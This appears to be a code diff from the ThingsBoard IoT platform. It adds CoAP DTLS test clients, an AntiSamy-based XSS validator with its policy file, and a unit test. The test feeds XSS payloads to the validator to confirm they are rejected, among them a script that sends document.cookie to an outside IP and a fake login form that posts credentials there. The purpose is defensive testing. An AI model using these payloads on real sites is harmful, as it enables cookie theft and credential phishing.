|||
} |
|||
|
|||
public static void main(String[] args) throws URISyntaxException { |
|||
System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientNoAuth " + |
|||
"host port accessToken keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys"); |
|||
|
|||
String host = args[0]; |
|||
int port = Integer.parseInt(args[1]); |
|||
String accessToken = args[2]; |
|||
String clientKeys = args[7]; |
|||
String sharedKeys = args[8]; |
|||
|
|||
String keyStoreUriPath = args[3]; |
|||
String keyStoreAlias = args[4]; |
|||
String trustedAliasPattern = args[5]; |
|||
String keyStorePassword = args[6]; |
|||
|
|||
|
|||
DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder(); |
|||
setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword); |
|||
DTLSConnector dtlsConnector = new DTLSConnector(builder.build()); |
|||
SecureClientNoAuth client = new SecureClientNoAuth(dtlsConnector, host, port, accessToken, clientKeys, sharedKeys); |
|||
client.test(); |
|||
} |
|||
|
|||
private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) { |
|||
StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); |
|||
try { |
|||
SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials( |
|||
keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray()); |
|||
Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( |
|||
keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray()); |
|||
trustBuilder.setTrustedCertificates(trustedCertificates); |
|||
config.setAdvancedCertificateVerifier(trustBuilder.build()); |
|||
config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509)); |
|||
} catch (GeneralSecurityException e) { |
|||
System.err.println("certificates are invalid!"); |
|||
throw new IllegalArgumentException(e.getMessage()); |
|||
} catch (IOException e) { |
|||
System.err.println("certificates are missing!"); |
|||
throw new IllegalArgumentException(e.getMessage()); |
|||
} |
|||
} |
|||
} |
|||
@ -0,0 +1,144 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.transport.coap.client; |
|||
|
|||
import org.eclipse.californium.core.CoapClient; |
|||
import org.eclipse.californium.core.CoapResponse; |
|||
import org.eclipse.californium.core.Utils; |
|||
import org.eclipse.californium.core.network.CoapEndpoint; |
|||
import org.eclipse.californium.elements.DtlsEndpointContext; |
|||
import org.eclipse.californium.elements.EndpointContext; |
|||
import org.eclipse.californium.elements.exception.ConnectorException; |
|||
import org.eclipse.californium.elements.util.SslContextUtil; |
|||
import org.eclipse.californium.scandium.DTLSConnector; |
|||
import org.eclipse.californium.scandium.config.DtlsConnectorConfig; |
|||
import org.eclipse.californium.scandium.dtls.CertificateType; |
|||
import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; |
|||
|
|||
import java.io.IOException; |
|||
import java.net.URI; |
|||
import java.net.URISyntaxException; |
|||
import java.security.GeneralSecurityException; |
|||
import java.security.Principal; |
|||
import java.security.cert.Certificate; |
|||
import java.util.Collections; |
|||
import java.util.concurrent.ExecutorService; |
|||
import java.util.concurrent.Executors; |
|||
|
|||
public class SecureClientX509 { |
|||
|
|||
private final DTLSConnector dtlsConnector; |
|||
private ExecutorService executor = Executors.newFixedThreadPool(1); |
|||
private CoapClient coapClient; |
|||
|
|||
public SecureClientX509(DTLSConnector dtlsConnector, String host, int port, String clientKeys, String sharedKeys) throws URISyntaxException { |
|||
this.dtlsConnector = dtlsConnector; |
|||
this.coapClient = getCoapClient(host, port, clientKeys, sharedKeys); |
|||
} |
|||
|
|||
public void test() { |
|||
executor.submit(() -> { |
|||
try { |
|||
while (!Thread.interrupted()) { |
|||
CoapResponse response = null; |
|||
try { |
|||
response = coapClient.get(); |
|||
} catch (ConnectorException | IOException e) { |
|||
System.err.println("Error occurred while sending request: " + e); |
|||
System.exit(-1); |
|||
} |
|||
if (response != null) { |
|||
|
|||
System.out.println(response.getCode() + " - " + response.getCode().name()); |
|||
System.out.println(response.getOptions()); |
|||
System.out.println(response.getResponseText()); |
|||
System.out.println(); |
|||
System.out.println("ADVANCED:"); |
|||
EndpointContext context = response.advanced().getSourceContext(); |
|||
Principal identity = context.getPeerIdentity(); |
|||
if (identity != null) { |
|||
System.out.println(context.getPeerIdentity()); |
|||
} else { |
|||
System.out.println("anonymous"); |
|||
} |
|||
System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); |
|||
System.out.println(Utils.prettyPrint(response)); |
|||
} else { |
|||
System.out.println("No response received."); |
|||
} |
|||
Thread.sleep(5000); |
|||
} |
|||
} catch (Exception e) { |
|||
System.out.println("Error occurred while sending COAP requests."); |
|||
} |
|||
}); |
|||
} |
|||
|
|||
private CoapClient getCoapClient(String host, Integer port, String clientKeys, String sharedKeys) throws URISyntaxException { |
|||
URI uri = new URI(getFutureUrl(host, port, clientKeys, sharedKeys)); |
|||
CoapClient client = new CoapClient(uri); |
|||
CoapEndpoint.Builder builder = new CoapEndpoint.Builder(); |
|||
builder.setConnector(dtlsConnector); |
|||
|
|||
client.setEndpoint(builder.build()); |
|||
return client; |
|||
} |
|||
|
|||
private String getFutureUrl(String host, Integer port, String clientKeys, String sharedKeys) { |
|||
return "coaps://" + host + ":" + port + "/api/v1/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; |
|||
} |
|||
|
|||
public static void main(String[] args) throws URISyntaxException { |
|||
System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientX509 " + |
|||
"host port keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys"); |
|||
|
|||
String host = args[0]; |
|||
int port = Integer.parseInt(args[1]); |
|||
String clientKeys = args[6]; |
|||
String sharedKeys = args[7]; |
|||
|
|||
String keyStoreUriPath = args[2]; |
|||
String keyStoreAlias = args[3]; |
|||
String trustedAliasPattern = args[4]; |
|||
String keyStorePassword = args[5]; |
|||
|
|||
|
|||
DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder(); |
|||
setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword); |
|||
DTLSConnector dtlsConnector = new DTLSConnector(builder.build()); |
|||
SecureClientX509 client = new SecureClientX509(dtlsConnector, host, port, clientKeys, sharedKeys); |
|||
client.test(); |
|||
} |
|||
|
|||
private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) { |
|||
StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); |
|||
try { |
|||
SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials( |
|||
keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray()); |
|||
Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( |
|||
keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray()); |
|||
trustBuilder.setTrustedCertificates(trustedCertificates); |
|||
config.setAdvancedCertificateVerifier(trustBuilder.build()); |
|||
config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509)); |
|||
} catch (GeneralSecurityException e) { |
|||
System.err.println("certificates are invalid!"); |
|||
throw new IllegalArgumentException(e.getMessage()); |
|||
} catch (IOException e) { |
|||
System.err.println("certificates are missing!"); |
|||
throw new IllegalArgumentException(e.getMessage()); |
|||
} |
|||
} |
|||
} |
|||
@ -0,0 +1,57 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.dao.service; |
|||
|
|||
import com.google.common.io.Resources; |
|||
import lombok.extern.slf4j.Slf4j; |
|||
import org.owasp.validator.html.AntiSamy; |
|||
import org.owasp.validator.html.Policy; |
|||
import org.owasp.validator.html.PolicyException; |
|||
import org.owasp.validator.html.ScanException; |
|||
import org.thingsboard.server.common.data.validation.NoXss; |
|||
|
|||
import javax.validation.ConstraintValidator; |
|||
import javax.validation.ConstraintValidatorContext; |
|||
|
|||
@Slf4j |
|||
public class NoXssValidator implements ConstraintValidator<NoXss, Object> { |
|||
private static final AntiSamy xssChecker = new AntiSamy(); |
|||
private static Policy xssPolicy; |
|||
|
|||
@Override |
|||
public void initialize(NoXss constraintAnnotation) { |
|||
if (xssPolicy == null) { |
|||
try { |
|||
xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml")); |
|||
} catch (Exception e) { |
|||
log.error("Failed to set xss policy: {}", e.getMessage()); |
|||
} |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) { |
|||
if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) { |
|||
return true; |
|||
} |
|||
|
|||
try { |
|||
return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0; |
|||
} catch (ScanException | PolicyException e) { |
|||
return false; |
|||
} |
|||
} |
|||
} |
|||
@ -0,0 +1,162 @@ |
|||
<?xml version="1.0" encoding="UTF-8" ?> |
|||
<!-- |
|||
|
|||
Copyright © 2016-2021 The Thingsboard Authors |
|||
|
|||
Licensed under the Apache License, Version 2.0 (the "License"); |
|||
you may not use this file except in compliance with the License. |
|||
You may obtain a copy of the License at |
|||
|
|||
http://www.apache.org/licenses/LICENSE-2.0 |
|||
|
|||
Unless required by applicable law or agreed to in writing, software |
|||
distributed under the License is distributed on an "AS IS" BASIS, |
|||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
See the License for the specific language governing permissions and |
|||
limitations under the License. |
|||
|
|||
--> |
|||
<anti-samy-rules> |
|||
|
|||
<directives> |
|||
<directive name="omitXmlDeclaration" value="true"/> |
|||
<directive name="omitDoctypeDeclaration" value="false"/> |
|||
<directive name="maxInputSize" value="100000"/> |
|||
<directive name="embedStyleSheets" value="false"/> |
|||
<directive name="useXHTML" value="true"/> |
|||
<directive name="formatOutput" value="true"/> |
|||
</directives> |
|||
|
|||
<common-regexps> |
|||
|
|||
<!-- |
|||
From W3C: |
|||
This attribute assigns a class name or set of class names to an |
|||
element. Any number of elements may be assigned the same class |
|||
name or names. Multiple class names must be separated by white |
|||
space characters. |
|||
--> |
|||
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> |
|||
|
|||
<!-- force non-empty with a '+' at the end instead of '*' |
|||
--> |
|||
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> |
|||
|
|||
<!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) |
|||
--> |
|||
|
|||
<!-- ([\p{L}/ 0-9&\#-.?=])* |
|||
--> |
|||
<regexp name="offsiteURL" |
|||
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> |
|||
</common-regexps> |
|||
|
|||
<common-attributes> |
|||
|
|||
<attribute name="lang" |
|||
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> |
|||
|
|||
<regexp-list> |
|||
<regexp value="[a-zA-Z]{2,20}"/> |
|||
</regexp-list> |
|||
</attribute> |
|||
|
|||
<attribute name="title" |
|||
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> |
|||
|
|||
<regexp-list> |
|||
<regexp name="htmlTitle"/> |
|||
</regexp-list> |
|||
</attribute> |
|||
|
|||
<attribute name="href" onInvalid="filterTag"> |
|||
|
|||
<regexp-list> |
|||
<regexp name="onsiteURL"/> |
|||
<regexp name="offsiteURL"/> |
|||
</regexp-list> |
|||
</attribute> |
|||
|
|||
<attribute name="align" |
|||
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> |
|||
|
|||
<literal-list> |
|||
<literal value="center"/> |
|||
<literal value="left"/> |
|||
<literal value="right"/> |
|||
<literal value="justify"/> |
|||
<literal value="char"/> |
|||
</literal-list> |
|||
</attribute> |
|||
<attribute name="style" |
|||
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> |
|||
</common-attributes> |
|||
|
|||
<global-tag-attributes> |
|||
<attribute name="title"/> |
|||
<attribute name="lang"/> |
|||
<attribute name="style"/> |
|||
</global-tag-attributes> |
|||
|
|||
<tags-to-encode> |
|||
<tag>g</tag> |
|||
<tag>grin</tag> |
|||
</tags-to-encode> |
|||
|
|||
<tag-rules> |
|||
|
|||
<tag name="script" action="remove"/> |
|||
<tag name="noscript" action="remove"/> |
|||
<tag name="iframe" action="remove"/> |
|||
<tag name="frameset" action="remove"/> |
|||
<tag name="frame" action="remove"/> |
|||
<tag name="noframes" action="remove"/> |
|||
<tag name="head" action="remove"/> |
|||
<tag name="title" action="remove"/> |
|||
<tag name="base" action="remove"/> |
|||
<tag name="style" action="remove"/> |
|||
<tag name="link" action="remove"/> |
|||
<tag name="input" action="remove"/> |
|||
<tag name="textarea" action="remove"/> |
|||
|
|||
<tag name="br" action="remove"/> |
|||
|
|||
<tag name="p" action="remove"/> |
|||
<tag name="div" action="remove"/> |
|||
<tag name="span" action="remove"/> |
|||
<tag name="i" action="remove"/> |
|||
<tag name="b" action="remove"/> |
|||
<tag name="strong" action="remove"/> |
|||
<tag name="s" action="remove"/> |
|||
<tag name="strike" action="remove"/> |
|||
<tag name="u" action="remove"/> |
|||
<tag name="em" action="remove"/> |
|||
<tag name="blockquote" action="remove"/> |
|||
<tag name="tt" action="remove"/> |
|||
|
|||
<tag name="a" action="remove"/> |
|||
|
|||
<tag name="ul" action="remove"/> |
|||
<tag name="ol" action="remove"/> |
|||
<tag name="li" action="remove"/> |
|||
<tag name="dl" action="remove"/> |
|||
<tag name="dt" action="remove"/> |
|||
<tag name="dd" action="remove"/> |
|||
</tag-rules> |
|||
|
|||
<css-rules> |
|||
<property name="text-decoration" default="none" |
|||
description=""> |
|||
|
|||
<category-list> |
|||
<category value="visual"/> |
|||
</category-list> |
|||
|
|||
<literal-list> |
|||
<literal value="underline"/> |
|||
<literal value="overline"/> |
|||
<literal value="line-through"/> |
|||
</literal-list> |
|||
</property> |
|||
</css-rules> |
|||
</anti-samy-rules> |
|||
@ -0,0 +1,52 @@ |
|||
/** |
|||
* Copyright © 2016-2021 The Thingsboard Authors |
|||
* |
|||
* Licensed under the Apache License, Version 2.0 (the "License"); |
|||
* you may not use this file except in compliance with the License. |
|||
* You may obtain a copy of the License at |
|||
* |
|||
* http://www.apache.org/licenses/LICENSE-2.0
|
|||
* |
|||
* Unless required by applicable law or agreed to in writing, software |
|||
* distributed under the License is distributed on an "AS IS" BASIS, |
|||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
* See the License for the specific language governing permissions and |
|||
* limitations under the License. |
|||
*/ |
|||
package org.thingsboard.server.dao.service; |
|||
|
|||
import org.junit.jupiter.api.BeforeAll; |
|||
import org.junit.jupiter.params.ParameterizedTest; |
|||
import org.junit.jupiter.params.provider.ValueSource; |
|||
|
|||
import javax.validation.ConstraintValidatorContext; |
|||
|
|||
import static org.junit.jupiter.api.Assertions.assertFalse; |
|||
import static org.mockito.Mockito.mock; |
|||
|
|||
public class NoXssValidatorTest { |
|||
private static NoXssValidator validator; |
|||
|
|||
@BeforeAll |
|||
public static void beforeAll() { |
|||
validator = new NoXssValidator(); |
|||
validator.initialize(null); |
|||
} |
|||
|
|||
@ParameterizedTest |
|||
@ValueSource(strings = { |
|||
"aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666", |
|||
"9090<body onload=alert('xsssss')>90909", |
|||
"qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy", |
|||
"bambam<script>alert(document.cookie)</script>", |
|||
"<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221", |
|||
"<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>", |
|||
" <img src= \"http://site.com/\" > ", |
|||
"123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe", |
|||
}) |
|||
public void testIsNotValid(String stringWithXss) { |
|||
boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class)); |
|||
assertFalse(isValid); |
|||
} |
|||
|
|||
} |
|||
@ -0,0 +1,162 @@ |
|||
<?xml version="1.0" encoding="UTF-8" ?> |
|||
<!-- |
|||
|
|||
Copyright © 2016-2021 The Thingsboard Authors |
|||
|
|||
Licensed under the Apache License, Version 2.0 (the "License"); |
|||
you may not use this file except in compliance with the License. |
|||
You may obtain a copy of the License at |
|||
|
|||
http://www.apache.org/licenses/LICENSE-2.0 |
|||
|
|||
Unless required by applicable law or agreed to in writing, software |
|||
distributed under the License is distributed on an "AS IS" BASIS, |
|||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
|||
See the License for the specific language governing permissions and |
|||
limitations under the License. |
|||
|
|||
--> |
|||
<anti-samy-rules> |
|||
|
|||
<directives> |
|||
<directive name="omitXmlDeclaration" value="true"/> |
|||
<directive name="omitDoctypeDeclaration" value="false"/> |
|||
<directive name="maxInputSize" value="100000"/> |
|||
<directive name="embedStyleSheets" value="false"/> |
|||
<directive name="useXHTML" value="true"/> |
|||
<directive name="formatOutput" value="true"/> |
|||
</directives> |
|||
|
|||
<common-regexps> |
|||
|
|||
<!-- |
|||
From W3C: |
|||
This attribute assigns a class name or set of class names to an |
|||
element. Any number of elements may be assigned the same class |
|||
name or names. Multiple class names must be separated by white |
|||
space characters. |
|||
--> |
|||
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> |
|||
|
|||
<!-- force non-empty with a '+' at the end instead of '*' |
|||
--> |
|||
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> |
|||
|
|||
<!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) |
|||
--> |
|||
|
|||
<!-- ([\p{L}/ 0-9&\#-.?=])* |
|||
--> |
|||
<regexp name="offsiteURL" |
|||
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> |
|||
</common-regexps> |
|||
|
|||
<common-attributes> |
|||
|
|||
<attribute name="lang" |
|||
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> |
|||
|
|||
<regexp-list> |
|||
<regexp value="[a-zA-Z]{2,20}"/> |
|||
</regexp-list> |
|||
</attribute> |
|||
|
|||
<attribute name="title" |
|||
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> |
|||
|
|||
<regexp-list> |
|||
<regexp name="htmlTitle"/> |
|||
</regexp-list> |
|||
</attribute> |
|||
|
|||
<attribute name="href" onInvalid="filterTag"> |
|||
|
|||
<regexp-list> |
|||
<regexp name="onsiteURL"/> |
|||
<regexp name="offsiteURL"/> |
|||
</regexp-list> |
|||
</attribute> |
|||
|
|||
<attribute name="align" |
|||
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> |
|||
|
|||
<literal-list> |
|||
<literal value="center"/> |
|||
<literal value="left"/> |
|||
<literal value="right"/> |
|||
<literal value="justify"/> |
|||
<literal value="char"/> |
|||
</literal-list> |
|||
</attribute> |
|||
<attribute name="style" |
|||
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> |
|||
</common-attributes> |
|||
|
|||
<global-tag-attributes> |
|||
<attribute name="title"/> |
|||
<attribute name="lang"/> |
|||
<attribute name="style"/> |
|||
</global-tag-attributes> |
|||
|
|||
<tags-to-encode> |
|||
<tag>g</tag> |
|||
<tag>grin</tag> |
|||
</tags-to-encode> |
|||
|
|||
<tag-rules> |
|||
|
|||
<tag name="script" action="remove"/> |
|||
<tag name="noscript" action="remove"/> |
|||
<tag name="iframe" action="remove"/> |
|||
<tag name="frameset" action="remove"/> |
|||
<tag name="frame" action="remove"/> |
|||
<tag name="noframes" action="remove"/> |
|||
<tag name="head" action="remove"/> |
|||
<tag name="title" action="remove"/> |
|||
<tag name="base" action="remove"/> |
|||
<tag name="style" action="remove"/> |
|||
<tag name="link" action="remove"/> |
|||
<tag name="input" action="remove"/> |
|||
<tag name="textarea" action="remove"/> |
|||
|
|||
<tag name="br" action="remove"/> |
|||
|
|||
<tag name="p" action="remove"/> |
|||
<tag name="div" action="remove"/> |
|||
<tag name="span" action="remove"/> |
|||
<tag name="i" action="remove"/> |
|||
<tag name="b" action="remove"/> |
|||
<tag name="strong" action="remove"/> |
|||
<tag name="s" action="remove"/> |
|||
<tag name="strike" action="remove"/> |
|||
<tag name="u" action="remove"/> |
|||
<tag name="em" action="remove"/> |
|||
<tag name="blockquote" action="remove"/> |
|||
<tag name="tt" action="remove"/> |
|||
|
|||
<tag name="a" action="remove"/> |
|||
|
|||
<tag name="ul" action="remove"/> |
|||
<tag name="ol" action="remove"/> |
|||
<tag name="li" action="remove"/> |
|||
<tag name="dl" action="remove"/> |
|||
<tag name="dt" action="remove"/> |
|||
<tag name="dd" action="remove"/> |
|||
</tag-rules> |
|||
|
|||
<css-rules> |
|||
<property name="text-decoration" default="none" |
|||
description=""> |
|||
|
|||
<category-list> |
|||
<category value="visual"/> |
|||
</category-list> |
|||
|
|||
<literal-list> |
|||
<literal value="underline"/> |
|||
<literal value="overline"/> |
|||
<literal value="line-through"/> |
|||
</literal-list> |
|||
</property> |
|||
</css-rules> |
|||
</anti-samy-rules> |
|||
Loading…
Reference in new issue